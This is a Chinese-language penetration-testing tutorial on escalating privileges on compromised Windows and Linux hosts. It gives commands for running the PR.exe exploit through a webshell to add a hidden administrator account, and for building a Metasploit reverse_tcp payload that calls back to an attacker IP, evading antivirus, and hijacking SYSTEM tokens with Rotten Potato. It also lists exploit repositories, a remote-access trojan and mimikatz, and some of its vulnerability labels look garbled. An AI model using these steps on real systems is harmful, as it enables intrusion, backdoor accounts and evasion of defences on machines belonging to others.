一、Windows 溢出提权
#Windows查看补丁信息,或者直接systeminfowmic qfe get Caption,description,hotfixid,installedon

1.提权辅助工具windows-exploit-suggester
项目地址:https://github.com/AonCyberLabs/Windows-Exploit-Suggester
# 更新漏洞库,更新完成后会在统计目录生成包含截至目前windows所有漏洞信息python2 windows-exploit-suggester.py --update
在目标主机上执行命令systeminfo并将输出的结果保存为一个txt文件。
# 对比补丁情况得到目标可能存在的漏洞python2 windows-exploit-suggester.py --database 2020-05-28-mssb.xls --system systeminfo.txt

Windows提权漏洞利用工具
项目地址:https://github.com/SecWiki/windows-kernel-exploits/

Windows2003:pr、巴西烤肉、2018-8020Windows2008:利用 ms16-075劫持token(烂土豆)Windows 2012/2016:ms18-8120
例:PR提权
拿到shell后上传cmd.exe和pr.exe,在菜刀终端窗口输入命令进行提权,如果目标不允许上传exe文件,这里也可以上传其他的格式。有Windows识别的是文件PE结构,所以并不影响执行:
C:\inetpub\target\uploadlabs\upload\pr.exe "whoami"
回显system,提权成功
利用返回的system权限创建账号:
C:\Inetpub\wwwroot\8099\pr.exe "net user xy 123 /add && net localgroup administrators xy /add"
提权成功:

Linux 溢出提权
uname -r#查看内核版本,找对应漏洞

项目地址:https://github.com/SecWiki/linux-kernel-exploits/
根据内核版本找对应的漏洞
MSF提权
MSF的后渗透模块十分强大,个人以为利用MSF提权相对于一个EXP一个EXP的去打目标主机要显得温柔很多。MSF提权的大致步骤如下:
1.生成payload
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.5 lport=1122 -f exe > /root/a.exe
2.端口转发
实战情况下MSF处于本地内网,目标的会话无法直接反弹到本地。利用ngrock等工具实现端口转发
3.payload做免杀
如果目标主机存在较强的WAF,无法直接建立会话,那么就需要对payload进行免杀。免杀的方法很多,但是强大的不多。
4.建立监听
use exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset lhost 192.168.1.5set lport 1122run
5.在目标机器上运行生成的payload,主机上线

6.拿到会话开始提权
#查看权限getuid#尝试自动提权,一般都没法成功getsystem#挂起会话background#查看会话列表sessions -l
MSF漏洞发现模块
#查找补丁缺失模块,会返回一些漏洞可直接利用use post/windows/gather/enum_patchesset session xrun#这个模块慢一点,但是相对上面那个更稳定use post/multi/recon/local_exploit_suggesterset session xrun

从返回的漏洞列表寻找最合适的漏洞进行利用,例如:
use exploit/windows/local/ms15_051_client_copy_imageset session 3run
返回高权限会话,提权成功:

MSF烂土豆劫持token提权(ms16_075)
session -i 3#调用sessionupload /root/potato.exe#上传potatodiruse incognito#调用token劫持模块list_tokens -u#查看可用的sessionexecute -cH -f ./potato.exe#执行(没返回就多搞几次)impersonate_token "NT AUTHORITY\SYSTEM"#导入权限,成功提权。会返回一个system权限的会话#如果杀软对potato.exe 下手,只有改后缀或者找免杀版本
https://exploit-db.comhttps://packetstormsecurity.comhttps://packetstormsecurity.com/search/?q=ms15-057https://www.securityfocus.com/https://www.securityfocus.com/bidhttp://1337day.comhttp://0day.todayhttp://seclists.org/fulldisclosurehttp://exploitsearch.nethttp://www.securiteam.comhttp://metasploit.com/moduleshttp://securityreason.comhttps://cxsecurity.com/exploithttp://securitytracker.com
https://github.com/lyshark/Windows-exploitshttps://github.com/SecWiki/windows-kernel-exploitshttps://github.com/klsfct/getshellhttps://github.com/ianxtianxt/win-exp-https://github.com/uknowsec/SweetPotatohttps://github.com/uknowsec/getSystemhttps://github.com/s0wr0b1ndef/Linux-Kernel-Exploites
#其他https://github.com/quasar/QuasarRAT/releaseshttps://github.com/gentilkiwi/mimikatz/releases
seo优化_前端开发_渗透技术








